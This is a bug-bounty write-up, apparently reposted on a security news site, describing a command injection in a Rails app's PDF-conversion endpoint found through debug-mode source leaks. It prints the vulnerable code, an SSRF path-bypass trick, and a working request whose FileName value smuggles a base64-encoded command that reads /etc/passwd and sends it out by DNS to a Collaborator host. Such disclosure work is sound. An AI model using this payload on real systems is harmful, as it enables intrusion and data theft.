Basic recon to RCE III


For the 3rd and I think last episode of the series, we’re going to continue with the same target as the episode 2, that I recommend you to go and see at first to put you a bit more in the context : Basic recon to RCE II

The Story

So, after this first RCE discovered on the application, I wanted to continue to dig, especially because this debug mode displays a POST method on the endpoint /convertdoctopdf. So I immediately thought about a SSRF and as it’s a bug that I like quite a lot, I wanted to dig it.

Another advantage of the debug mode (on Rails and maybe with other frameworks) is that if the application raises an exception, it will show you the part of the source code concerned in the response, which is pretty handy when you don’t know which parameter you should use !

After a first POST request without body, the application displays an error 500 with the piece of code that concerns the error, which tells us that the SessionId parameter is missing. I spare you the details but this technique allowed me to obtain the complete code of the method :

def convertdoctopdf
  header = {'Content-Type' =>'application/json','Authorization' => 'OAuth '+params['SessionId']}
  id = params['AttachmentId']
  baseURL = params['Url']
  fileName = params['FileName'] ? params['FileName']+(Time.now.to_i).to_s : 'fileconvert'+(Time.now.to_i).to_s
  uri = URI.parse(baseURL+"/services/data/v44.0/sobjects/Attachment/"+id+"/Body")
  
  https = Net::HTTP.new(uri.host,uri.port)
  https.use_ssl = true
  req = Net::HTTP::Get.new(uri.path, header)
  attachment = https.request(req)

  File.open("#{Rails.root}/public/#{fileName+'.docx'}", 'wb') { |f| f.write(attachment.body) }
  %x(/usr/bin/soffice --headless --convert-to pdf --outdir  "#{Rails.root}/public/file_conversion/" "#{Rails.root}/public/#{fileName+'.docx'}")

  outputfileBase64 = Base64.encode64(open("#{Rails.root}/public/file_conversion/#{fileName}.pdf").to_a.join);
 
  File.delete("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}") if File.exist?("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}")
  File.delete("#{Rails.root}/public/#{fileName+'.docx'}") if File.exist?("#{Rails.root}/public/#{fileName+'.docx'}")
 
  render json: {file: outputfileBase64}, status: :created, location: "Done"
end

Which can be described as follows:

  • header = Expects the SessionID parameter but is not important here, you can put anything
  • id = Waits for the AttachmentId parameter but is not important either, you can put anything too
  • baseUrl = Waits for the url parameter, just enter a valid URL
  • fileName = There is a ternary condition that makes it an optional parameter
  • Then a GET request is made, the content is saved to a file, converted to PDF and displayed to the user in base64

I had first stopped after leaking the HTTP request line thinking that was all I needed to trigger my SSRF. Except:

  • A GET request is made on the URL + path /services/data/v44.0/sobjects/Attachment/"+id+"/Body" but that can be easily bypassed by specifying a URL of type https://domain.tld/?x=, the path will then be forced as the parameter value.
    • The URL will become: https://domain.tld/?x=/services/data/v44.0/sobjects/Attachment/"+id+"/Body"
  • https.use_ssl = true which is the blocking point because it forces the use of HTTPS

Going back to our source code, I was saying that the body of the response is saved in a file (with the extension docx but in fact it doesn’t matter, it’s not a real docx but rather a simple text file) and then the soffice binary is called and converts this file into a PDF and displays the content of the PDF in base64 in the response. Something I didn’t know yet because I was too focused on the SSRF and I could see in the return of my request in the answer and I didn’t try to understand the cause.

I spent a few hours on the SSRF without being able to exploit it because :

  • The use of HTTPS prevents me from typing on internal URLs such as http://127.0.0.1
  • The target must have a valid certificate
  • For some reason I couldn’t query a target using a let’s encrypt certificate…

Anyway, after these blocking points, to try to inject some code in my PDF I used a Github repository on which I uploaded my PoC then I used the RAW URL (like https://raw.githubusercontent.com/user/poc/master/poc.html) to inject the content in the PDF. Unfortunately after many tries, the only tag that seemed to be interpreted was the </code> tag, the others were either deleted or not interpreted.</p> <p>A little disappointed at the time, I gave up because I had other things to do.<br /> That same day I spent the evening with my hunter friend Serizao, and I obviously told him my SSRF problem, we continued to dig together and to have a better overview, we recovered the complete code of the method above.</p> <p>At this moment, a line directly appealed to us.</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#e6db74">%x(/usr/bin/soffice --headless --convert-to pdf --outdir "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/file_conversion/" "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/</span><span style="color:#e6db74">#{</span>fileName<span style="color:#f92672">+</span><span style="color:#e6db74">'.docx'</span><span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span></code></pre> </div> <p>The use of <code>%x()</code> is an alternative to the use of backticks which allows you to make a system call and display the output. Like backticks, <code>%x()</code> also allows string interpolation.</p> <p>I explained above, that the FileName parameter is optional :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>fileName <span style="color:#f92672">=</span> params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]</span> ? params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s : <span style="color:#e6db74">'fileconvert'</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s </span></span></code></pre> </div> <p>Because if it is not present, it is set with a default value automatically, but if it is present, it is equivalent to the user input (and this is where the vulnerability lies). The problem is that the string interpolation allows to inject an arbitrary command to execute an additional command to the soffice binary call.</p> <p>Example to illustrate my point, inside <code>irb</code> :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">001</span> <span style="color:#f92672">></span> filename <span style="color:#f92672">=</span> <span style="color:#e6db74">'`id`'</span><span style="color:#f92672">+</span><span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i<span style="color:#f92672">.</span>to_s </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">002</span> <span style="color:#f92672">></span> <span style="color:#e6db74">%x("</span><span style="color:#e6db74">#{</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span><span style="display:flex;"><span><span style="color:#e6db74">sh</span>: uid<span style="color:#f92672">=</span><span style="color:#ae81ff">635388061</span>(jomar) <span style="color:#f92672">[...]</span><span style="color:#ae81ff">1646581930</span>: command <span style="color:#f92672">not</span> found </span></span><span style="display:flex;"><span> <span style="color:#f92672">=></span> <span style="color:#e6db74">""</span> </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">003</span> <span style="color:#f92672">></span> </span></span></code></pre> </div> <p>So we can see that the id command is executed.<br /> With the following request, it is possible to escape the call to soffice and execute an arbitrary command, to show the vulnerability, I extracted the first characters of the <code>/etc/passwd</code> file :</p> <pre tabindex="0"><code>POST /convertdoctopdf HTTP/1.1 Host: sub.target.tld User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Length: 214 Content-Type: application/json;charset=UTF-8 { "SessionId":"1", "AttachmentId":"1", "FileName": "" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #"", "Url":"https://www.google.com" } </code></pre> <p><em>Side note</em> : a domain name can be 255 characters long but a subdomain is limited to 63 characters, think about it if you do a DNS extraction</p> <p>Explanation of</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">"" && getent hosts </span><span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #" </span></span></span></code></pre> </div> <ul> <li><code>"</code> : Allows to close the parameter pass to soffice binary for the file name</li> <li><code>&&</code> : Indicates that a second command is being processed</li> <li><code>getent hosts</code> : Not having <code>curl</code>, <code>dig</code>, <code>ping</code> etc… available in the environment I used <code>getent hosts</code> to execute a DNS query</li> <li><code>$(echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d)</code> : To avoid encoding problems because of the <code>/</code> which raises an error with the File.open so, we put our command in base64 <ul> <li><code>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d => head -c 4 /etc/passwd</code>. The first 4 characters of the <code>/etc/passwd</code> file which correspond to root <ul> <li><code>9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld</code> : My private burp collaborator server</li> <li><code>#"</code> : Allows you to comment out the end of the line and the <code>"</code> to avoid a syntax error in the command</li> </ul> </li> </ul> </li> </ul> <p>In the end, the executed command will be :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/usr/bin/soffice --headless --convert-to pdf --outdir <span style="color:#e6db74">"folder/public/file_conversion/"</span> <span style="color:#e6db74">"folder/public/"</span> <span style="color:#f92672">&&</span> getent hosts <span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span>.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld <span style="color:#75715e">#".pdf").to_a.join);</span> </span></span></code></pre> </div> <h2 id="conclusion">Conclusion</h2> <p>A bug that I found super interesting and was also present for a long time. I know because I had already identified this method more than 6 months ago but I had not taken the time to dig.</p> <p>What made the difference today is something that is very well explained here: <a rel="nofollow noopener" target="_blank" href="https://twitter.com/hacker_/status/1509147518638116866">Corben Leo – Hacking CAN be easy</a>. I’ve been developing small web / api applications on my own time for several months now and I use Ruby on Rails, in addition to giving me a good knowledge of the framework, it also gives me a better vision of a developer and sometimes I do sh*t because I want to go fast or because it annoys me and if I make these mistakes, why shouldn’t others do it too ?</p> <p>But also probably because rather than going from domain to domain looking for the ugly stuff that looks vulnerable, I thought I really wanted to exploit this thing and so I spent some time on it. Which shows once again that sometimes it’s much more interesting to focus on an application and understand it than to try to find a magic domain and spread payloads around without understanding what you’re doing</p> </p></div> <p><script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script><br /> <br /><br /> <br /><a href="https://www.jomar.fr/posts/2022/basic_recon_to_rce_iii/">Source link </a></p> </div><!-- .entry-content --> </div> </article> <nav class="navigation post-navigation" aria-label="Posts"> <h2 class="screen-reader-text">Post navigation</h2> <div class="nav-links"><div class="nav-previous"><a href="https://cybernoz.com/how-a-catholic-group-doxed-gay-priests/" rel="prev">How a Catholic Group Doxed Gay Priests →</a></div><div class="nav-next"><a href="https://cybernoz.com/batloader-malware-uses-google-ads-to-deliver-vidar-stealer-and-ursnif-payloads/" rel="next">← BATLOADER Malware Uses Google Ads to Deliver Vidar Stealer and Ursnif Payloads</a></div></div> </nav> <div class="clear"></div> </div><!--/#gridhot-posts-wrapper --> </div> </div> </div><!-- /#gridhot-main-wrapper --> <div class="gridhot-sidebar-one-wrapper gridhot-sidebar-widget-areas gridhot-clearfix" id="gridhot-sidebar-one-wrapper" itemscope="itemscope" itemtype="http://schema.org/WPSideBar" role="complementary"> <div class="theiaStickySidebar"> <div class="gridhot-sidebar-one-wrapper-inside gridhot-clearfix"> <div id="block-3" class="gridhot-side-widget widget gridhot-widget-box widget_block"><div class="gridhot-widget-box-inside"> <div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"> <h2 class="wp-block-heading">Latest Posts</h2> <ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/17m-patient-records-stolen-in-ransomware-attack-on-three-california-hospitals/">17M Patient Records Stolen in Ransomware Attack on Three California Hospitals</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/germany-investigates-badbox-malware-infections-targeting-over-192000-devices/">Germany Investigates BadBox Malware Infections, Targeting Over 192,000 Devices</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/u-s-intelligence-agencies-launched-cyber-attacks-on-chinese-tech-companies/">U.S Intelligence Agencies Launched Cyber Attacks on Chinese Tech Companies</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/whatsapp-wins-nso-in-pegasus-spyware-hacking-lawsuit-after-5-years/">WhatsApp Wins NSO in Pegasus Spyware Hacking Lawsuit After 5 Years</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/top-5-ransomware-attacks-and-data-breaches-of-2024/">Top 5 Ransomware Attacks and Data Breaches of 2024</a></li> </ul></div></div> </div></div> </div> </div> </div><!-- /#gridhot-sidebar-one-wrapper--> </div> </div><!--/#gridhot-content-wrapper --> </div><!--/#gridhot-wrapper --> <div class='gridhot-clearfix' id='gridhot-copyright-area'> <div class='gridhot-copyright-area-inside gridhot-container'> <div class="gridhot-outer-wrapper"> <div class='gridhot-copyright-area-inside-content gridhot-clearfix'> <p class='gridhot-copyright'>Copyright © 2024 Cybernoz</p> <p class='gridhot-credit'><a href="https://themesdna.com/">Design by ThemesDNA.com</a></p> </div> </div> </div> </div><!--/#gridhot-copyright-area --> <button class="gridhot-scroll-top" title="Scroll to Top"><i class="fas fa-arrow-up" aria-hidden="true"></i><span class="gridhot-sr-only">Scroll to Top</span></button> <link rel='stylesheet' id='whp3070tw-bs4.css-css' href='https://cybernoz.com/wp-content/plugins/wp-security-hardening/modules/inc/assets/css/tw-bs4.css' type='text/css' media='all' /> <link rel='stylesheet' id='whp7539font-awesome.min.css-css' href='https://cybernoz.com/wp-content/plugins/wp-security-hardening/modules/inc/fa/css/font-awesome.min.css' type='text/css' media='all' /> <link rel='stylesheet' id='whp8400front.css-css' href='https://cybernoz.com/wp-content/plugins/wp-security-hardening/modules/css/front.css' type='text/css' media='all' /> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/hooks.min.js" id="wp-hooks-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/i18n.min.js" id="wp-i18n-js"></script> <script type="text/javascript" id="wp-i18n-js-after"> /* <![CDATA[ */ wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js" id="swv-js"></script> <script type="text/javascript" id="contact-form-7-js-before"> /* <![CDATA[ */ var wpcf7 = { "api": { "root": "https:\/\/cybernoz.com\/wp-json\/", "namespace": "contact-form-7\/v1" } }; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/js/index.js" id="contact-form-7-js"></script> <script type="module" src="https://cybernoz.com/wp-content/plugins/wp-cloudflare-page-cache/assets/js/instantpage.min.js" id="swcfpc_instantpage-js"></script> <script type="text/javascript" id="swcfpc_auto_prefetch_url-js-before"> /* <![CDATA[ */ function swcfpc_wildcard_check(str, rule) { let escapeRegex = (str) => str.replace(/([.*+?^=!:${}()|\[\]\/\\])/g, "\\$1"); return new RegExp("^" + rule.split("*").map(escapeRegex).join(".*") + "$").test(str); } function swcfpc_can_url_be_prefetched(href) { if( href.length == 0 ) return false; if( href.startsWith("mailto:") ) return false; if( href.startsWith("https://") ) href = href.split("https://"+location.host)[1]; else if( href.startsWith("http://") ) href = href.split("http://"+location.host)[1]; for( let i=0; i < swcfpc_prefetch_urls_to_exclude.length; i++) { if( swcfpc_wildcard_check(href, swcfpc_prefetch_urls_to_exclude[i]) ) return false; } return true; } let swcfpc_prefetch_urls_to_exclude = '["\/*ao_noptirocket*","\/*jetpack=comms*","\/*kinsta-monitor*","*ao_speedup_cachebuster*","\/*removed_item*","\/my-account*","\/wc-api\/*","\/edd-api\/*","\/wp-json*"]'; swcfpc_prefetch_urls_to_exclude = (swcfpc_prefetch_urls_to_exclude) ? JSON.parse(swcfpc_prefetch_urls_to_exclude) : []; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/jquery.fitvids.min.js" id="fitvids-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/ResizeSensor.min.js" id="ResizeSensor-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/theia-sticky-sidebar.min.js" id="theia-sticky-sidebar-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/navigation.js" id="gridhot-navigation-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/skip-link-focus-fix.js" id="gridhot-skip-link-focus-fix-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/imagesloaded.min.js" id="imagesloaded-js"></script> <script type="text/javascript" id="gridhot-customjs-js-extra"> /* <![CDATA[ */ var gridhot_ajax_object = {"ajaxurl":"https:\/\/cybernoz.com\/wp-admin\/admin-ajax.php","primary_menu_active":"1","secondary_menu_active":"1","sticky_sidebar_active":"1","fitvids_active":"1","backtotop_active":"1"}; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/custom.js" id="gridhot-customjs-js"></script> <script type="text/javascript" id="gridhot-html5shiv-js-js-extra"> /* <![CDATA[ */ var gridhot_custom_script_vars = {"elements_name":"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video"}; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/gridhot/assets/js/html5shiv.js" id="gridhot-html5shiv-js-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/google-site-kit/dist/assets/js/googlesitekit-events-provider-contact-form-7-21cf1c445673c649970d.js" id="googlesitekit-events-provider-contact-form-7-js" defer></script> </body> </html><script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="ea9bf6674f8880f04d71ee00-|49" defer></script>